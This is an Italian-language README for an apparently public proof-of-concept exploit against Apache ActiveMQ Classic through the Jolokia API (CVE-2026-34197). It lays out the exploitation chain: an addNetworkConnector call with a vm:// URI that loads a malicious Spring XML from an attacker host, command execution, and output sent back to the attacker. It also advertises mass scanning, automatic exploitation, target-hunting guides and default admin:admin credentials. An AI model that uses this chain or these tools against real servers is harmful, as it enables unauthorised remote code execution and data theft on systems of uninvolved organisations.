Exploit per Apache ActiveMQ RCE tramite API Jolokia (CVE-2026-34197) con acquisizione dell'output dei comandi, scansione di massa e sfruttamento automatico.
Panoramica • Dettagli • Flusso di attacco • Avvio rapido • Guida ATTACKER_IP • Utilizzo • Cattura output • Scanner • Ricognizione • Rilevamento • Rimedi
CVE-2026-34197 è una vulnerabilità critica di esecuzione di codice remoto (RCE) in Apache ActiveMQ Classic che consente a un utente autenticato di eseguire comandi arbitrari del sistema operativo tramite l'API Jolokia esposta sulla console web.
La vulnerabilità esiste da oltre 13 anni e risiede nell'interazione tra Jolokia (ponte HTTP-JMX), gli MBean di ActiveMQ, i connettori di rete e il trasporto VM.
[!CAUTION] Questo è un primo PoC pubblico sviluppato da KONDOR DEV SECURITY. Utilizzare solo in valutazioni di sicurezza autorizzate.
id, whoami, cat /etc/passwd) mostrano automaticamente il loro output nel terminaleversion_check.py) — rilevamento versione multithread + sfruttamento mirato| ID CVE | CVE-2026-34197 |
| Gravità | |
| Tipo | Esecuzione di codice remoto (RCE) |
| CWE | CWE-20 (Validazione input impropria) / CWE-94 (Iniezione di codice) |
| Versioni affette | ActiveMQ Classic < 5.19.4 e 6.0.0 — 6.2.2 |
| Versioni corrette | 5.19.4 / 6.2.3 |
| Autenticazione richiesta | Sì (le credenziali predefinite admin:admin sono comuni) |
| Senza autenticazione | 6.0.0 — 6.1.1 (a causa di CVE-2024-32114) |
| Porta predefinita | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Ripartizione passo-passo
| Passo | Azione | Componente |
|:----:|--------|-----------|
| **1** | L'attaccante invia una POST a `/api/jolokia/` che richiama `addNetworkConnector` sul Broker MBean | API Jolokia |
| **2** | ActiveMQ elabora l'URI di trasporto `vm://` e crea un broker effimero con `brokerConfig` che punta a un URL remoto | Trasporto VM |
| **3** | Lo schema `xbean:` attiva il download di un file di configurazione Spring XML dal server dell'attaccante | Spring / XBean |
| **4** | Spring istanzia tutti i bean nell'XML, incluso uno che chiama `Runtime.getRuntime().exec()` | Contesto Spring |
| **5** | Per i comandi semplici, l'output viene catturato e rispedito tramite POST HTTP al listener dell'attaccante (automatico) | Cattura dell'output |
---
## Struttura del Progetto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md